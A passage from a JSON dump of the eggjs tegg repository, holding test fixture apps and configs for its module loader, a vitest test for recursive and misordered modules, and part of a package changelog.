    "content": "'use strict';\n\nexports.tracer = {\n  package: '@eggjs/tracer',\n  enable: true,\n};\n\nexports.teggConfig = {\n  package: '@eggjs/tegg-config',\n  enable: true,\n};\n\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n\nexports.watcher = false;\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/node_modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"dependencies\": {\n    \"used\": \"*\",\n    \"unused\": \"*\"\n  },\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/node_modules/unused/Unused.ts",
    "content": "import { SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class UnusedProto {}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/node_modules/unused/package.json",
    "content": "{\n  \"name\": \"unused\",\n  \"eggModule\": {\n    \"name\": \"unused\"\n  },\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/node_modules/used/Used.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class UsedProto {}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/node_modules/used/package.json",
    "content": "{\n  \"name\": \"used\",\n  \"eggModule\": {\n    \"name\": \"used\"\n  },\n  \"type\": \"module\",\n  \"exports\": {\n    \"./Used\": \"./Used.js\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\",\n  \"egg\": {\n    \"framework\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/plugin-module/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/plugin-module/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  eggFooPlugin: {\n    package: 'foo-plugin',\n    enable: true,\n  },\n  watcher: false,\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/plugin-module/node_modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"dependencies\": {\n    \"foo-plugin\": \"*\"\n  },\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/plugin-module/node_modules/foo-plugin/Used.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class UsedProto {}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/plugin-module/node_modules/foo-plugin/package.json",
    "content": "{\n  \"name\": \"egg-foo-plugin\",\n  \"eggPlugin\": {\n    \"name\": \"eggFooPlugin\"\n  },\n  \"eggModule\": {\n    \"name\": \"eggFooPlugin\"\n  },\n  \"type\": \"module\",\n  \"exports\": {\n    \"./Used\": \"./Used.ts\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/plugin-module/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\",\n  \"egg\": {\n    \"framework\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class App extends Controller {\n  async find(): Promise<void> {\n    const traceId = this.ctx.app.module.multiModuleService.traceService.getTraceId();\n    const app = await this.ctx.app.module.multiModuleService.appService.findApp(this.ctx.query.name);\n    this.ctx.body = {\n      traceId,\n      app,\n    };\n  }\n\n  async save(): Promise<void> {\n    const app = this.ctx.request.body;\n    const traceId = this.ctx.app.module.multiModuleService.traceService.getTraceId();\n    await this.ctx.app.module.multiModuleService.appService.save(app);\n    this.ctx.body = {\n      success: true,\n      traceId,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/app/router.ts",
    "content": "import { Application } from 'egg';\n\nmodule.exports = (app: Application) => {\n  app.router.get('/apps', app.controller.app.find);\n  app.router.post('/apps', app.controller.app.save);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/config/config.default.js",
    "content": "export default () => {\n  return {\n    keys: 'test key',\n  };\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-repo\"\n  },\n  {\n    \"path\": \"../modules/multi-module-service\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/config/plugin.js",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  watcher: false,\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggEventbus: false,\n  teggController: false,\n  teggDal: false,\n  teggSchedule: false,\n  teggOrm: false,\n  teggAjv: false,\n  teggAop: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/modules/multi-module-repo/AppRepo.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport type AppService from '../multi-module-service/AppService.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppRepo {\n  @Inject()\n  appService: AppService;\n\n  public async findApp(): Promise<Record<string, any>> {\n    return this.appService.findApp();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/modules/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/modules/multi-module-service/AppService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport AppRepo from '../multi-module-repo/AppRepo.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppService {\n  @Inject()\n  appRepo: AppRepo;\n\n  findApp(): Promise<Record<string, any>> {\n    return this.appRepo.findApp();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/modules/multi-module-service/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleService\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/recursive-module-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/app/modules/module-a/BarService.ts",
    "content": "import { SingletonProto, Inject, ModuleQualifier } from '@eggjs/tegg';\n\nimport { FooService } from '../module-foo/FooService.ts';\n\n@SingletonProto()\nexport class BarService {\n  @Inject()\n  @ModuleQualifier('foo')\n  fooService: FooService;\n\n  bar(): void {\n    console.log(this.fooService);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/app/modules/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/app/modules/module-bar/FooService.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class FooService {}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/app/modules/module-bar/package.json",
    "content": "{\n  \"name\": \"module-bar\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"bar\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/app/modules/module-foo/FooService.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class FooService {}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/app/modules/module-foo/package.json",
    "content": "{\n  \"name\": \"module-foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n\n  watcher: false,\n\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-protos/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarConstructorService1.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { FooService } from '../module-foo/FooService.js';\n\n@SingletonProto()\nexport class BarConstructorService1 {\n  constructor(\n    // @ts-expect-error readonly property in constructor\n    @Inject() readonly fooService: FooService,\n  ) {}\n\n  type(): string {\n    return this.fooService.type;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarConstructorService2.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { FooService } from './FooService.js';\n\n@SingletonProto()\nexport class BarConstructorService2 {\n  constructor(\n    // @ts-expect-error readonly property in constructor\n    @Inject() readonly fooService: FooService,\n  ) {}\n\n  type(): string {\n    return this.fooService.type;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarService1.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { FooService } from '../module-foo/FooService.js';\n\n@SingletonProto()\nexport class BarService1 {\n  @Inject()\n  fooService: FooService;\n\n  type(): string {\n    return this.fooService.type;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarService2.ts",
    "content": "import { Inject, SingletonProto } from '@eggjs/tegg';\n\nimport { FooService } from './FooService.js';\n\n@SingletonProto()\nexport class BarService2 {\n  @Inject()\n  fooService: FooService;\n\n  type(): string {\n    return this.fooService.type;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/FooService.ts",
    "content": "import { AccessLevel, ContextProto } from '@eggjs/tegg';\n\n@ContextProto({ accessLevel: AccessLevel.PUBLIC })\nexport class FooService {\n  type = 'context';\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-foo/FooService.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\nexport class FooService {\n  type = 'singleton';\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-foo/package.json",
    "content": "{\n  \"name\": \"module-foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default (appInfo: EggAppInfo): EggAppConfig => {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  watcher: false,\n  teggEventbus: false,\n  teggController: false,\n  teggDal: false,\n  teggSchedule: false,\n  teggOrm: false,\n  teggAjv: false,\n  teggAop: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/same-name-singleton-and-context-proto/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/app/schedule/foo.ts",
    "content": "import { Subscription } from 'egg';\n\nimport AppService from '../../modules/multi-module-service/AppService.js';\n\nexport default class Foo extends Subscription {\n  static get schedule() {\n    return {\n      interval: '1m',\n      type: 'all',\n    };\n  }\n\n  async subscribe(): Promise<void> {\n    await this.ctx.beginModuleScope(async () => {\n      const appService = await this.ctx.getEggObject(AppService);\n      await appService.findApp();\n      // await this.ctx.app.module.multiModuleService.appService.findApp();\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-service\"\n  },\n  {\n    \"path\": \"../modules/multi-module-repo\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n\n  teggEventbus: false,\n  teggController: false,\n  teggDal: false,\n  teggSchedule: false,\n  teggOrm: false,\n  teggAjv: false,\n  teggAop: false,\n\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/modules/multi-module-repo/AppRepo.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppRepo {\n  public async findApp(): Promise<Record<string, any>> {\n    return {};\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/modules/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/modules/multi-module-service/AppService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport AppRepo from '../multi-module-repo/AppRepo.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppService {\n  @Inject()\n  appRepo: AppRepo;\n\n  findApp(): Promise<Record<string, any>> {\n    return this.appRepo.findApp();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/modules/multi-module-service/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleService\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/schedule-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class App extends Controller {\n  async find(): Promise<void> {\n    const traceId = this.ctx.app.module.multiModuleService.traceService.getTraceId();\n    const app = await this.ctx.app.module.multiModuleService.appService.findApp(this.ctx.query.name);\n    this.ctx.body = {\n      traceId,\n      app,\n    };\n  }\n\n  async save(): Promise<void> {\n    const app = this.ctx.request.body;\n    const traceId = this.ctx.app.module.multiModuleService.traceService.getTraceId();\n    await this.ctx.app.module.multiModuleService.appService.save(app);\n    this.ctx.body = {\n      success: true,\n      traceId,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/apps', app.controller.app.find);\n  app.router.post('/apps', app.controller.app.save);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/config/config.default.js",
    "content": "export default () => {\n  return {\n    keys: 'test key',\n  };\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-service\"\n  },\n  {\n    \"path\": \"../modules/multi-module-repo\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/config/plugin.js",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  watcher: false,\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/modules/multi-module-repo/AppRepo.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppRepo {\n  public async findApp(): Promise<Record<string, any>> {\n    return {};\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/modules/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/modules/multi-module-service/AppService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport AppRepo from '../multi-module-repo/AppRepo.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppService {\n  @Inject()\n  appRepo: AppRepo;\n\n  findApp(): Promise<Record<string, any>> {\n    return this.appRepo.findApp();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/modules/multi-module-service/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleService\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/wrong-order-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/lib/EggModuleLoader.test.ts",
    "content": "import assert from 'node:assert/strict';\n// import { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { getAppBaseDir } from '../utils.ts';\n\ndescribe('test/lib/EggModuleLoader.test.ts', () => {\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  describe('has recursive dependency module', () => {\n    it('should throw error', async () => {\n      const app = mm.app({\n        baseDir: getAppBaseDir('recursive-module-app'),\n      });\n      await assert.rejects(async () => {\n        // await scheduler.wait(1000);\n        await app.ready();\n      }, /module has recursive deps/);\n      await app.close();\n    });\n  });\n\n  describe('module config in wrong order', () => {\n    it('should load module success', async () => {\n      const app = mm.app({\n        baseDir: getAppBaseDir('wrong-order-app'),\n      });\n      await app.ready();\n      await app.close();\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n\nexport function getAppBaseDir(name: string): string {\n  return getFixtures(`apps/${name}`);\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n\n### Bug Fixes\n\n* export Orm class ([#293](https://github.com/eggjs/tegg/issues/293)) ([cc902e0](https://github.com/eggjs/tegg/commit/cc902e0e0a833fd7a3301b72862df0d75b2042cb))\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n\n### Features\n\n* dal retry when init failed ([#260](https://github.com/eggjs/tegg/issues/260)) ([74e7c06](https://github.com/eggjs/tegg/commit/74e7c067c3ff7ae0ed705abaaa8a91f804e487e3))\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n\n### Bug Fixes\n\n* remove inner class hook ([#257](https://github.com/eggjs/tegg/issues/257)) ([faffd34](https://github.com/eggjs/tegg/commit/faffd3492f9edd411213034651d6863fb3f1a24d))\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n\n### Features\n\n* support optional inject ([#254](https://github.com/eggjs/tegg/issues/254)) ([260470b](https://github.com/eggjs/tegg/commit/260470b766d5fdb323c1bd72cc6260a90468a161))\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n\n### Bug Fixes\n\n* disable dump in preload ([#253](https://github.com/eggjs/tegg/issues/253)) ([081912b](https://github.com/eggjs/tegg/commit/081912beb9cb945c863c73d91ef5be112c2940d9))\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n\n### Features\n\n* add dump switcher ([#252](https://github.com/eggjs/tegg/issues/252)) ([80c312f](https://github.com/eggjs/tegg/commit/80c312f7862b4021180f3e587f63c6b0dd87202c))\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n\n### Bug Fixes\n\n* fix aop in constructor inject type ([#247](https://github.com/eggjs/tegg/issues/247)) ([d169bb2](https://github.com/eggjs/tegg/commit/d169bb2fbbc86335315619866b4134a25296f552))\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n\n### Features\n\n* impl GlobalGraph build hook ([#246](https://github.com/eggjs/tegg/issues/246)) ([48fce45](https://github.com/eggjs/tegg/commit/48fce4512e99259ec26a9b032bfcc9f4046ad235))\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstance inject MultiInstance ([#240](https://github.com/eggjs/tegg/issues/240)) ([08e3b0c](https://github.com/eggjs/tegg/commit/08e3b0cc02f3d2dbba767298a6aec6c00147f9ed))\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n\n### Bug Fixes\n\n* add preload loadunit ([#236](https://github.com/eggjs/tegg/issues/236)) ([0e28972](https://github.com/eggjs/tegg/commit/0e2897200a9bc3bc6aa1028c8549bdbf45bbaaa3))\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n\n### Features\n\n* add LifecyclePreLoad ([#234](https://github.com/eggjs/tegg/issues/234)) ([2b72163](https://github.com/eggjs/tegg/commit/2b7216387f02cd045952447eaa21baa3a7ee04a3))\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-standalone\n\n\n\n\n\n# 